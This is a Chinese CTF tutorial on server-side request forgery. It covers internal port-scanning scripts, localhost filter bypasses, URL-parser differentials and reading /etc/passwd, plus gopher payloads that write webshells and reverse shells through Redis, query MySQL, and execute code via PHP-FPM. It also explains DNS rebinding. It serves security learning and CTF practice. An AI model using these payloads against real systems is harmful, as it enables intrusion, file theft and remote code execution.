本文首發於"合天網安實驗室" 作者:Kawhi
本文涉及的實操——實驗:SSRF漏洞分析與實踐(合天網安實驗室)
(SSRF(server-side request forge,服務端請求偽造),是攻擊者讓服務端發起構造的指定請求鏈接造成的漏洞。通過該實驗了解SSRF漏洞的基礎知識及演示實踐。)
前言
有關SSRF(Server-Side Request Forgery:服務器端請求偽造)介紹的文章很多了,這里主要是把自己學習和打ctf中遇到的一些trick和用法整理和記錄一下。
有個最基本的問題就是,如何判斷ctf題目是考察SSRF或者說存在SSRF的點呢,首先要知道出現ssrf的函數基本就這幾個file_get_contents()、curl()、fsocksopen()、fopen(),如果獲取到題目源碼了,源碼中存在這些個函數就大致可以判斷是否有ssrf,如果沒有題目的源碼,ssrf的入口一般是出現在調用外部資源的地方,比如url有個參數讓你傳或者是在html中的輸入框,然后就用http://,file://,dict://協議讀取一下。
舉個例子,近日打的西湖論劍有一道題為flagshop中用ssrf讀文件

SSRF常見用法
探測內網
在CTF中,ssrf最常見的就是探測內網,如果找到了內網IP的網段,可以嘗試用暴力破解去探測內網的IP,下面給出幾種常見的探測方法。
- 腳本
這里給出一個通用的python腳本
# -*- coding: utf-8 -*- import requests import time ports = ['80','6379','3306','8080','8000'] session = requests.Session(); for i in range(1, 255): ip = '192.168.0.%d' % i #內網ip地址 for port in ports: url = 'http://ip/?url=http://%s:%s' %(ip,port) try: res = session.get(url,timeout=3) if len(res.text) != 0 : #這里長度根據實際情況改 print(ip,port,'is open') except: continue print('Done')
這里寫的是爆破指定的一些端口和IP的D段,注意的是有些題目會給出端口的范圍,就可以把ports改為range()指定為一定的范圍,然后返回的長度len(res.text)要先自己測一下。
- burpsuite
可以選擇用burpsuite軟件中Intruder去爆破,具體過程就不贅述了。
- nmap工具
掃描目標開放端口,直接用nmap一把梭。
nmap -sV ip nmap -sV ip -p6379 //指定6379端口掃描
練習:可以在CTFHub中技能樹->ssrf->端口掃描中嘗試一下。
SSRF中的bypass
在ctf中,有時候會ban一些指定的ip,比如127.0.0.1,有時候是檢查一整段127.0.0.1,或者是通過正則去匹配逐個字符,這里介紹一下如何去繞過這些WAF。
- 302跳轉
有一個網站地址是:xip.io,當訪問這個服務的任意子域名的時候,都會重定向到這個子域名,舉個例子:
當我們訪問:http://127.0.0.1.xip.io/1.php,實際上訪問的是http://127.0.0.1/1.php。
像這種網址還有nip.io,sslip.io。
如果php后端只是用parse_url函數中的host參數判斷是否等於127.0.0.1,就可以用這種方法繞過,但是如果是檢查是否存在關鍵字127.0.0.1,這種方法就不可行了,這里介紹第二種302方法。
短地址跳轉繞過,這里也給出一個網址4m.cn

直接用https://4m.cn/FjOdQ就就會302跳轉,這樣就可以繞過WAF了。
- 進制的轉換
可以使用一些不同的進制替代ip地址,從而繞過WAF,這里給出個php腳本可以一鍵轉換。
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十進制:"; echo $r; echo "八進制:"; echo decoct($r); echo "十六進制:"; echo dechex($r); ?>
注意八進制ip前要加上一個0,其中八進制前面的0可以為多個,十六進制前要加上一個0x。

- 利用DNS解析
如果你自己有域名的話,可以在域名上設置A記錄,指向127.0.0.1。

- 利用@繞過
http://www.baidu.com@127.0.0.1與http://127.0.0.1請求是相同的。
- 其他各種指向127.0.0.1的地址
1. http://localhost/ 2. http://0/ 3. http://[0:0:0:0:0:ffff:127.0.0.1]/ 4. http://[::]:80/ 5. http://127。0。0。1/ 6. http://①②⑦.⓪.⓪.① 7. http://127.1/ 8. http://127.00000.00000.001/
第1行localhost就是代指127.0.0.1
第2行中0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
第3行指向127.0.0.1,在liunx下可用,window測試了下不行
第4行指向127.0.0.1,在liunx下可用,window測試了下不行
第5行用中文句號繞過
第6行用的是Enclosed alphanumerics方法繞過,英文字母以及其他一些可以網上找找
第7.8行中0的數量多一點少一點都沒影響,最后還是會指向127.0.0.1
不存在協議頭繞過
有關file_get_contents()函數的一個trick,可以看作是SSRF的一個黑魔法,當PHP的 file_get_contents() 函數在遇到不認識的偽協議頭時候會將偽協議頭當做文件夾,造成目錄穿越漏洞,這時候只需不斷往上跳轉目錄即可讀到根目錄的文件。
例子:
<?php highlight_file(__FILE__); if(!preg_match('/^https/is',$_GET['a'])){ die("no hack"); } echo file_get_contents($_GET['a']); ?>
此處限制我們只能讀https開頭的路徑,但利用這個特性我們可以構造:
httpsssss://
配合目錄回退讀取文件的兩種方式:
httpsssss://../../../../../../etc/passwd httpsssss://abc../../../../../../etc/passwd

這樣做的目的就是可以在SSRF的眾多協議被ban的情況下來進行讀取文件。
在ctf.show月餅杯的web2_故人心就遇到這個點。
URL的解析問題
- readfile和parse_url解析差異
繞過端口:
我們在phpstudy中寫下ssrf.php
<?php $url = 'http://'. $_GET[url]; $parsed = parse_url($url); if( $parsed[port] == 80 ){ readfile($url); } else { die('You Shall Not Pass'); }
並在使用python在另一個端口起一個服務

在ssrf.php中代碼限制parse_url中的port只能等於80,如果我們需要用readfile去讀其他端口的文件的話,可以用如下繞過:
http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt

可以看到成功讀取了11211端口中的1.txt文件,這里借用blackhat的一張圖。

可以看出readfile函數獲取的端口是前面一部分的,而parse_url則是最后冒號的端口,利用這種差異的不同,從而繞過WAF。
這兩個函數在解析host的時候也有差異,如下圖

- curl和parse_url解析差異
從圖中可以看到curl解析的是第一個@后面的網址,而parse_url解析的是第二個@的網址。

在極客大挑戰有一道題就考了這個點,源碼如下:
<?php highlight_file(__FILE__); function check_inner_ip($url) { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } ?>
可以看到check_inner_ip 通過 url_parse 檢測是否為內網ip,如果滿足不是內網 ip ,通過 curl 請求 url 返回結果,這題就可以利用curl和parse_url解析的差異不同來繞過,讓 parse_url 處理外部網站,最后 curl 請求內網網址。
最后的payload為
http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php
有關URL的解析問題更加詳細可參考:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
SSRF進階用法
攻擊Redis服務
Redis一般都是綁定在6379端口,如果沒有設置口令(默認是無),攻擊者就可以通過SSRF漏洞未授權訪問內網Redis,一般用來寫入Crontab定時任務用來反彈shell,或者寫入webshell等等。
在CTF題目中如果找到了內網的服務開了6379端口,一般來說就是Redis未授權訪問漏洞,並且沒有ban掉gopher://,可以用網上的腳本一把梭。這里推薦一個工具gopherus:https://github.com/tarunkant/Gopherus
- 寫入shell
運行命令:
python gopherus.py --exploit redis
之后具體操作看圖:

首先會讓你選擇ReverseShell/PHPShell,前者是反彈shell,后者是寫入shell,這里我們選擇寫入shell,然后第二步讓你選擇默認目錄,這里一般選擇默認即可,第三步寫入要執行的PHP代碼。
在有SSRF漏洞的地方輸入生成的payload—即gopher://127.0.0.1:6379后面一大段,接下來會在目錄下生成shell.php。

要注意的是如果是在html的輸入框中直接輸入提交就行,但要在瀏覽器的URL輸入的話,一定要記得URL編碼一次。
相關例題:[GKCTF2020]EZ三劍客-EzWeb或者CTFHub中技能樹->ssrf->redis
- 反彈shell
對於Redis服務一般還有通過寫入定時任務來觸發反彈shell的操作,可以使用上面的工具選擇ReverseShell也可以一鍵生成payload

選擇ReverseShell,然后寫入你要反彈到的VPS的地址,因為這里監聽端口工具寫好是1234了,所以我們直接在VPS監聽nc -lvp 1234即可。
因為我沒有在CTF題目中利用過反彈shell這個點,這里就不演示過程了,至於復現過程的話可以在Weblgic靶場復現一下反彈shell,相關的文章講解也有很多,這里不再贅述了。
攻擊Mysql服務
如果內網開啟了3306端口,存在沒有密碼的mysql,則也可以使用gopher協議進行ssrf攻擊。
本地復現過程:
先在本地新建一個無密碼的用戶
CREATE USER 'kawhi'@'localhost';
GRANT ALL ON *.* TO 'kawhi'@'localhost';

運行完成之后可以打開phpmyadmin登錄看看是否成功,然后這里比較簡單的方法也是利用上述工具gopherus。

第一步寫入用戶的名字,第二步寫入要查詢的語句,將生成的payload再url編碼一次,直接打。

可以看到成功讀取到users表的信息,達到了我們mysql未授權訪問數據的目的。
這種利用SSRF打mysql也曾經在CTF中出現過:ISITDTU 2018 Friss這道題,題目復現過程可參考:https://xz.aliyun.com/t/2500,這里就不贅述了。
Gopher發送請求
SSRF漏洞是服務端請求偽造攻擊,不論是GET或者是POST方法,都是為了達到一個目的,就是讓服務端幫我們來執行請求。
那么在CTF中什么情況需要利用到這種方法呢,比如發現了一個內網的應用有上傳的功能,我們需要通過POST提交數據,而且Gopher協議沒有被ban,我們就可以考慮構造一個請求去打內網,下面先從本地看看如何構造:
通常,我們可以利用gopher://協議可以用來發送Get和Post請求,需要注意的點是要對發送的請求頭中的空格和一些特殊字符進行url編碼,如果是在URL中提交payload的時侯要再進行一次url編碼,先來看看如何發送簡單的請求。
- POST請求
在phpstudy寫入1.php
<?php echo "Hello".$_POST['a'];
burpsuite抓包獲取請求頭,POST包的請求頭有很多行,我們用的時候不用全部帶上,但是要記得加上Content-Type和Content-Length,當然如果你全部帶也是可以的。
POST /1.php HTTP/1.1 Host: 192.168.0.102 Content-Type: application/x-www-form-urlencoded Content-Length: 7 a=world
然后需要對空格和一些特殊字符進行url編碼,注意把其中的換行的地方加上%0D%0A,當然手動加肯定是太麻煩了,這里給出一個腳本。
一鍵編碼腳本:
import urllib import requests test =\ """POST /1.php HTTP/1.1 Host: 192.168.0.102 Content-Type: application/x-www-form-urlencoded Content-Length: 7 a=world """ tmp = urllib.parse.quote(test) new = tmp.replace('%0A','%0D%0A') result = '_'+new print(result)
在里面加上你的請求體運行,然后我們在輸出結果前面手動加上gopher協議頭和IP:端口,最終為:
gopher://192.168.0.102:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.0.102%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%207%0D%0A%0D%0Aa%3Dworld%0D%0A
然后用curl命令發出我們的請求,可以看到成功獲取響應包了。

需要注意的是,如果要在url傳入的話需要將發送的POST后面一大串再url編碼一次,比如,我們在phpstudy寫入一個有ssrf漏洞的ssrf.php
<?php function curl($url){ //創建一個新的curl資源 $ch = curl_init(); //設置URL和相應的選項 curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_HEADER,false); //抓取URL並把它傳遞給瀏覽器 curl_exec($ch); //關閉curl資源,並且釋放系統資源 curl_close($ch); } $url = $_GET['url']; curl($url); ?>
直接我們上面的payload傳入url,會發現沒回顯。

把gopher協議全部再url編碼一遍就可以成功回顯。

- GET請求:
GET請求發送和POST請求基本一樣,這里就不再贅述了。
相關例題:2020強網杯half_infiltration
通過前面一系列操作獲得ssrf.php
<?php //經過掃描確認35000以下端口以及50000以上端口不存在任何內網服務,請繼續滲透內網 $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){ die(""); } if($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_exec($ch); curl_close($ch); } ?>
跑端口40000跑出來個登錄框,然后有上傳功能,參數file和content是上傳文件
於是用gopher協議發送一個POST請求寫馬,payload如下:
gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai40ob7 Content-Length: 174 Content-Type: application/x-www-form-urlencoded Connection: close file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&content=K0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
最后payload如下,傳入參數需要注意二次url編碼:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
PHP-FPM攻擊
首先,PHP-FPM是實現和管理FastCGI的進程,是一個FastCGI協議解析器,而Fastcgi本質是一個通信協議,類似於HTTP,都是進行數據交換的一個通道,通信過程如下:
TCP模式下在本機監聽一個端口(默認為9000),Nginx把客戶端數據通過FastCGI協議傳給9000端口,PHP-FPM拿到數據后會調用CGI進程解析。
而PHP-FPM攻擊是通過偽造FastCGI協議包實現PHP代碼執行,我們可以通過更改配置信息來執行任意代碼。php中有兩個非常有趣的配置項,(想了解更多關於php配置項,可以看我之前寫的一篇文章:CTF中.htaccess文件的利用),分別為auto_prepend_file和auto_append_file,這兩個配置項是使得php在執行目標文件之前,先包含配置項中指定的文件,如果我們把auto_prepend_file或auto_append_file的值設定為php://input,就能包含進POST提交的數據。
但是這里有個問題就是php://input需要開啟allow_url_include,這里可以利用PHP_ADMIN_VALUE,上一篇說到PHP_ADMIN_VALUE不可以利用在.htaccess,但是FastCGI協議中PHP_ADMIN_VALUE卻用來可以修改大部分的配置,我們利用PHP_ADMIN_VALUE把allow_url_include修改為True。
復現過程如下:
第一步:
現在liunx下啟動一個監聽並指定寫入1.txt。

第二步:
這里使用P神寫好的一個exp
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
把代碼保存為python文件,我這里為1.py,運行並-c寫入要執行的php代碼
python 1.py -c "<?php var_dump(shell_exec('uname -a'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

然后會生成一個1.txt文件
第三步:
將生成的1.txt文件雙url編碼,老生常談,因為要在瀏覽器url輸入必須要再編碼一次,這里直接給出腳本,腳本我順便加上了gopher協議等等可以直接打,如果題目ip不同可以自行更改。
import urllib.parse f = open(r'1.txt','rb') s = f.read() s = urllib.parse.quote(s) s = urllib.parse.quote(s) print("gopher://127.0.0.1:9000/_"+s)
運行得到
gopher://127.0.0.1:9000/_%2501%2501E%25D3%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504E%25D3%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH41%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%250B%251BSCRIPT_NAME/usr/local/lib/php/PEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI/usr/local/lib/php/PEAR.php%2501%2504E%25D3%2500%2500%2500%2500%2501%2505E%25D3%2500%2529%2500%2500%253C%253Fphp%2520var_dump%2528shell_exec%2528%2527uname%2520-a%2527%2529%2529%253B%253F%253E%2501%2505E%25D3%2500%2500%2500%2500
這里我在CTFhub的FastCGI環境直接打了,當然本地也是可以的,可以看到我們下面的PHP代碼成功包含並執行了。
<?php var_dump(shell_exec('uname -a'));?>

DNS-rebinding
有時候ssrf的過濾中會出現這種情況,通過對傳入的url提取出host地址,然后進行dns解析,獲取ip地址,然后對ip地址進行檢驗,如果合法再利用curl請求的時候會發起第二次請求。
DNS-rebinding就是利用第一次請求的時候解析的是合法的地址,而第二次解析的時候是惡意的地址,這個技術已經被廣泛用於bypass同源策略,繞過ssrf的過濾等等。
利用過程:
首先需要擁有一個域名,然后添加兩條記錄類型為A的域名解析,一條的記錄值為127.0.0.1,另一條隨便寫個外網地址即可

但是這種方法是隨機解析的,所以只有在第一次解析出來是個外網ip,第二次解析出來是個內網ip才能成功,也就是說成功的概率為1/4。
這里我在CTFhub的DNS重綁定實驗下直接演示:

如果沒有域名的話,可以去平台http://ceye.io/上的dns rebinding工具,利用過程如下:
在profile下添加內網地址

這樣的話是會隨機返回地址的,也能完成DNS-rebinding攻擊

關於更多的DNS-rebinding攻擊利用方法見參考鏈接
總結
在ctf中ssrf一般不會單獨出題,大多數情況下是作為其中一個利用點,知識點看起來就那幾個,總結起來還挺多的,由於水平有限,本篇可能還有一些點沒有提到,比如趙總最近寫了一個ssrf新的利用方法:https://www.zhaoj.in/read-6681.html,有興趣可以看看。
參考鏈接
http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/